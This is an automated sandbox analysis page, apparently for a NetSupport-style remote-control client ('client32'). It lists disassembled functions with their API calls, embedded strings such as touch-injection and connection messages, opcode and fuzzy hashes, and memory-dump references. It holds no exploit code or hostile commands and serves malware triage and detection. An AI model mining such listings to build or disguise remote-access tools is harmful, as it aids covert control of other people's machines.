Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Menu$Item$Count$CreateInfoInsertPopup_memset
String ID: 0
API String ID: 74472576-4108050209
Opcode ID: b25f34294336de4f8839e45289e2c114ec1c9262bee8a9cac9f6491c5d519ada
Instruction ID: c294618d83ba700a36b9fba62bf733376f49e09b6547452e6c31807948eb4840
Opcode Fuzzy Hash: b25f34294336de4f8839e45289e2c114ec1c9262bee8a9cac9f6491c5d519ada
Instruction Fuzzy Hash: 7A21AC7180022CABDB24DF50DC88BEEF7B8EB49719F0040A8E519A6540CBB45B84CFA0

Function 11004019 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 66COMMON

Download Yara Rule

APIs

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

EnableWindow.USER32(?,00000000), ref: 1100403D
ChooseFontA.COMDLG32(?), ref: 11004043
DeleteObject.GDI32(?), ref: 11004054
CreateFontIndirectA.GDI32(?), ref: 1100405E
InvalidateRect.USER32(00000000,00000000,00000001), ref: 110040AB

Part of subcall function 11029A70: _strrchr.LIBCMT ref: 11029B65
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029BA4

EnableWindow.USER32(00000000,00000001), ref: 110040D5

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 1100401F, 11004091, 110040BD
m_hWnd, xrefs: 11004024, 11004096, 110040C2

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: EnableExitFontProcessWindow$ChooseCreateDeleteErrorIndirectInvalidateLastMessageObjectRect_strrchrwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 1877081333-2830328467
Opcode ID: 5a8ff3a3b695677d670fb872e9d6a603d23825acbc13e7a7cbff1a86c384b7c4
Instruction ID: 2c0d29b8726898d4e875131a5ddb42b893b31e3c9b3cc9d7239d82f15ed8fa9a
Opcode Fuzzy Hash: 5a8ff3a3b695677d670fb872e9d6a603d23825acbc13e7a7cbff1a86c384b7c4
Instruction Fuzzy Hash: 851181B5A4030ABBD724CBA1DCC6FDAF3A4FB48348F00456DF526A6584DB75B540C754

Function 110441F0 Relevance: 13.7, APIs: 9, Instructions: 173COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 11044287

Part of subcall function 11163AA5: HeapFree.KERNEL32(00000000,00000000,?,1116C666,00000000,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163ABB
Part of subcall function 11163AA5: GetLastError.KERNEL32(00000000,?,1116C666,00000000,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163ACD

_free.LIBCMT ref: 110442A7
_strncpy.LIBCMT ref: 110442D5
_strncpy.LIBCMT ref: 11044312
_malloc.LIBCMT ref: 1104434C
_strncpy.LIBCMT ref: 1104435D
_strncpy.LIBCMT ref: 1104439F
_malloc.LIBCMT ref: 110443D2
_strncpy.LIBCMT ref: 110443E8

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _strncpy$_free_malloc$ErrorFreeHeapLast
String ID:
API String ID: 1102513549-0
Opcode ID: bd44c6ba14c597139a1bcf2485ccbb1e776856b1063963ef6c7a2147c4b94ce6
Instruction ID: 974b4f05892340fefa329837356e5b9fb129ea13f76464e8485f75d9f21f6bbc
Opcode Fuzzy Hash: bd44c6ba14c597139a1bcf2485ccbb1e776856b1063963ef6c7a2147c4b94ce6
Instruction Fuzzy Hash: 87616CB5D043559FD720DFB9C884BDAFBF9AF95308F0045AD9599D7200EAB0A980CFA1

Function 11044090 Relevance: 13.6, APIs: 9, Instructions: 121COMMON

Download Yara Rule

APIs

IsDlgButtonChecked.USER32(?,0000046F), ref: 110440DA
IsDlgButtonChecked.USER32(?,00000470), ref: 110440ED
DestroyCursor.USER32(?), ref: 11044171
DestroyCursor.USER32(?), ref: 1104417A
DestroyCursor.USER32(00000000), ref: 1104418E

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CursorDestroy$ButtonChecked
String ID:
API String ID: 2664327029-0
Opcode ID: 65e359f5a7e490632b0b05df749bb47df57bf5184124e9409809c9d7eebbec92
Instruction ID: d93bb8d91901fd52fc514ae9055c1649e3b087614cd6c7895e3b48934665d2c2
Opcode Fuzzy Hash: 65e359f5a7e490632b0b05df749bb47df57bf5184124e9409809c9d7eebbec92
Instruction Fuzzy Hash: 4531B6B6F00B01A7F710C675CCC1F9772D9AB94304F224539E679C7A90DA75E841C754

Function 11113570 Relevance: 13.6, APIs: 9, Instructions: 77COMMON

Download Yara Rule

APIs

GetStockObject.GDI32(00000003), ref: 111135A7
FillRect.USER32(?,?,00000000), ref: 111135C4
FillRect.USER32(?,?,00000000), ref: 111135D2
SetROP2.GDI32(?,00000007), ref: 111135FE
SetBkMode.GDI32(?,?), ref: 1111360A
SetBkColor.GDI32(?,?), ref: 11113615
SetTextColor.GDI32(?,?), ref: 11113620
SetTextJustification.GDI32(?,?,?), ref: 11113631
SetTextCharacterExtra.GDI32(?,?), ref: 1111363D

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Text$ColorFillRect$CharacterExtraJustificationModeObjectStock
String ID:
API String ID: 1094208222-0
Opcode ID: 1cbc9ed1b46d6c71f90ef3a18c70e791402d54b145c2918b3fccb73878480588
Instruction ID: 11fb3597ac11fe0070853bb1276331f7103533f07ae90b5f1526d6834acfdad0
Opcode Fuzzy Hash: 1cbc9ed1b46d6c71f90ef3a18c70e791402d54b145c2918b3fccb73878480588
Instruction Fuzzy Hash: CE2148B1D01128AFDB04DFA4D988AFEB7B8EF48315F104169FD15AB208D7746A01CBA0

Function 110F0060 Relevance: 13.6, APIs: 9, Instructions: 70memoryCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 110F0067
GlobalAlloc.KERNEL32(00000042,00000000,00000000,?,110F0E7E,?,?,AB86ACF8), ref: 110F009F
ReleaseDC.USER32(00000000,00000000), ref: 110F00AD

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AllocGlobalRelease
String ID:
API String ID: 1459782005-0
Opcode ID: ef8989bf252fcdced7cb56a846c0f82ac1b7e672def05fb6ebabdfad37a223a7
Instruction ID: 895e16ec520d13b6265c6dc70c6115b10cf0d765340dc232e34c0638dbe3d9ef
Opcode Fuzzy Hash: ef8989bf252fcdced7cb56a846c0f82ac1b7e672def05fb6ebabdfad37a223a7
Instruction Fuzzy Hash: BF113172A41228A7D3209B949DC9FDBB7ECEB4C716F000179FD19C3604E6755C0043E1

Function 1103E3C0 Relevance: 12.6, APIs: 3, Strings: 4, Instructions: 319COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 1103E453
_memset.LIBCMT ref: 1103E461
_memmove.LIBCMT ref: 1103E46E

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Part of subcall function 1103E140: Sleep.KERNEL32(000001F4,00000000,?,00000000,-111EE49C), ref: 1103E171

Part of subcall function 11029A70: _strrchr.LIBCMT ref: 11029B65
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029BA4

Strings

IsA(), xrefs: 1103E404, 1103E433, 1103E492, 1103E4C8, 1103E511, 1103E57E, 1103E5D7, 1103E661, 1103E694, 1103E6FE, 1103E735
PF%sinclude:*exclude:, xrefs: 1103E522
redirect:, xrefs: 1103E538
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 1103E3FF, 1103E42E, 1103E48D, 1103E4C3, 1103E50C, 1103E579, 1103E5D2, 1103E65C, 1103E68F, 1103E6F9, 1103E730

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ExitProcess$ErrorLastMessageSleep_malloc_memmove_memset_strrchrwsprintf
String ID: IsA()$PF%sinclude:*exclude:$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h$redirect:
API String ID: 3725223747-3293259664
Opcode ID: 65fbcd292fc2e97c14b863c0970ab91c49f26a03f1556fc5066ab98669f3dd53
Instruction ID: 67eb2363300651043992ab9ba8f6f3d77738c65c139b63c55815287ab0b028a8
Opcode Fuzzy Hash: 65fbcd292fc2e97c14b863c0970ab91c49f26a03f1556fc5066ab98669f3dd53
Instruction Fuzzy Hash: DBB1C479E116269FDB06CF94CC95BEDF3F1BF89248F008165E81667384FA31A905CBA1

Function 11043240 Relevance: 12.5, APIs: 3, Strings: 4, Instructions: 244COMMON

Download Yara Rule

APIs

Part of subcall function 1105E820: __wcstoi64.LIBCMT ref: 1105E85D

_memset.LIBCMT ref: 110433A9
GetSystemMetrics.USER32(0000004C), ref: 110433B9
GetSystemMetrics.USER32(0000004D), ref: 110433C1

Strings

Inject Touch Up @ %d,%d, id=%d, xrefs: 1104348D
Client, xrefs: 11043277
Inject Touch Down @ %d,%d, w=%d,h=%d, id=%d, xrefs: 11043456
DisableTouch, xrefs: 11043272

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: MetricsSystem$__wcstoi64_memset
String ID: Client$DisableTouch$Inject Touch Down @ %d,%d, w=%d,h=%d, id=%d$Inject Touch Up @ %d,%d, id=%d
API String ID: 3760389471-710950153
Opcode ID: 6ae8af2f14032af259bd57272b05dbbc70a801c8653cb383b5f76f4abd90dcc8
Instruction ID: 3df93499149cd7a4cb1b4a3ff8c52798864cd21da05d47721e0dc8214685208f
Opcode Fuzzy Hash: 6ae8af2f14032af259bd57272b05dbbc70a801c8653cb383b5f76f4abd90dcc8
Instruction Fuzzy Hash: 2491D270D0465A9FCB04DFA9C880AEEFBF5FF48304F108169E555AB294DB34A905CB90

Function 1106E2A0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,AB86ACF8,?,75BF7CB0,75BF7AA0), ref: 1106E322
SetEvent.KERNEL32(?,?,00000000,1106C3F0,?,?), ref: 1106E402

Strings

erased=%d, idata->dead=%d, xrefs: 1106E4D3
..\ctl32\Connect.cpp, xrefs: 1106E4EA
Deregister NC_CHATEX for conn=%s, q=%p, xrefs: 1106E305

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalEnterEventSection
String ID: ..\ctl32\Connect.cpp$Deregister NC_CHATEX for conn=%s, q=%p$erased=%d, idata->dead=%d
API String ID: 2291802058-2272698802
Opcode ID: 1117f4c99858950bdf7fd7672d5969ca3ec3e6b5db68b6395f532a2427e1d8b3
Instruction ID: 66fcff3922a30ee90d8c0767053203911b60367f0834e94f449308d57fcee819
Opcode Fuzzy Hash: 1117f4c99858950bdf7fd7672d5969ca3ec3e6b5db68b6395f532a2427e1d8b3
Instruction Fuzzy Hash: 9371C074E043A59FE715CF64C488F9ABBE9BB04318F1485D9E41A9B291DB30ED85CF90

Function 11158310 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 11158356

Part of subcall function 11163A11: __FF_MSGBANNER.LIBCMT ref: 11163A2A
Part of subcall function 11163A11: __NMSG_WRITE.LIBCMT ref: 11163A31
Part of subcall function 11163A11: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163A56

_memset.LIBCMT ref: 1115836F
GetDIBits.GDI32(?,?,00000000,?,?,?,00000000), ref: 111583CF
_malloc.LIBCMT ref: 111583F7
_free.LIBCMT ref: 111584D3
_free.LIBCMT ref: 111584DF

Part of subcall function 110EE290: _memmove.LIBCMT ref: 110EE3AF

Strings

(, xrefs: 111583B5

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _free_malloc$AllocateBitsHeap_memmove_memset
String ID: (
API String ID: 3140430649-3887548279
Opcode ID: 12fdfd4c8a273e77a88b58fe584f7b62bc5b6364b25748152a4ba4f7ded49458
Instruction ID: 15e3a403059262efe8d3bf227268a655022ed24b1a0bcf9f4d942b7dba633f9b
Opcode Fuzzy Hash: 12fdfd4c8a273e77a88b58fe584f7b62bc5b6364b25748152a4ba4f7ded49458
Instruction Fuzzy Hash: F05162B5A112149FDB54DF18CC80B9AB7B9EF89308F4545ADEA09DB341DB30BA44CF68

Function 1100A390 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 135COMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 1100A415
_sprintf.LIBCMT ref: 1100A457

Strings

Error. soundlevel < -32768 , xrefs: 1100A4A5
Error. soundlevel > 32767, xrefs: 1100A491
Warning. %s, xrefs: 1100A41E, 1100A460
f[%d]=%f, > 1.0, xrefs: 1100A40F
f[%d]=%f, < -1.0, xrefs: 1100A451

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _sprintf
String ID: Error. soundlevel < -32768 $Error. soundlevel > 32767$Warning. %s$f[%d]=%f, < -1.0$f[%d]=%f, > 1.0
API String ID: 1467051239-371636152
Opcode ID: f275aff281fec65e287fd4839cb214d6aa70ab525a81e0f2bd918c20378b1889
Instruction ID: 522ba922067402ac051fad8bc1310d1daa1aefdf4381fc39071b0cd0fb0c6887
Opcode Fuzzy Hash: f275aff281fec65e287fd4839cb214d6aa70ab525a81e0f2bd918c20378b1889
Instruction Fuzzy Hash: 19416936E04249CBC700DFA8C884ADDFBB4FF85244F6546BDD8981B346DB326995CBA0

Function 110B9550 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 104timeCOMMON

Download Yara Rule

APIs

GetWindowPlacement.USER32(00000000,0000002C,110C032C,?,Norm,110C032C), ref: 110B9594
MoveWindow.USER32(00000000,110C032C,110C032C,110C032C,110C032C,00000001,?,Norm,110C032C), ref: 110B9606
SetTimer.USER32(00000000,0000050D,000007D0,00000000), ref: 110B9661

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

j CB::OnRemoteSizeNormal(%d, %d, %d, %d), xrefs: 110B9620
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110B957A
m_hWnd, xrefs: 110B957F
Norm, xrefs: 110B9560

Memory Dump Source

